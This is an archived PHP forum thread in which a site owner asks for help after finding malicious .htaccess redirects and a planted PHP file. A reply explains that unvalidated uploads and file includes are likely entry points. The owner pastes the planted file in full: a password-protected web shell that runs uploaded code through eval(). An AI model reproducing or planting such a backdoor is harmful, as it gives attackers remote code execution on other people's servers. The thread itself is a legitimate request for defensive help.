Jump to content

Help. I've been hacked


mwstewart

Recommended Posts

Hi all, Sometimes when accessing my site I get redirected to an alternative site. I checked htaccess and it had a load of refirects in there that I didn't write. Permissions for it were 770.

 

I found the following in a php file (that I did not create):

<?php
error_reporting(1);
global $HTTP_SERVER_VARS; 

function say($t) 
{ echo "$t\n"; }; 

function testdata($t) 
{ say(md5("testdata_$t"));};

echo "<pre>"; testdata('start'); 
if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3")	{
	if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])) { 
		eval($code); }
	else {testdata('f'); }
	; }
else{testdata('pass'); }; 
testdata('end'); 
echo "</pre>"; 
?>

 

Is a hacker trying to figure out how to exploit my site? How did someone have permission to create a file on my server? Is that possible because I have 'weak' code, despite file permissions preventing global write?

 

I have notcied that in the above php file, and the modified .htaccess that there is a lot of blank space around the code, which makes me think the modifications are result of someone elses code.

 

Any advice here appreciated.

 

Link to comment
https://forums.phpfreaks.com/topic/136741-help-ive-been-hacked/
Share on other sites

Two easy ways that someone can put a script on your server are if you have an upload form without validation of what was uploaded or where it is put or you are including a file where the name/url of that file is taken from a variable that comes from outside your script without validation of what or where that file name is.

Link to comment
https://forums.phpfreaks.com/topic/136741-help-ive-been-hacked/#findComment-714244
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.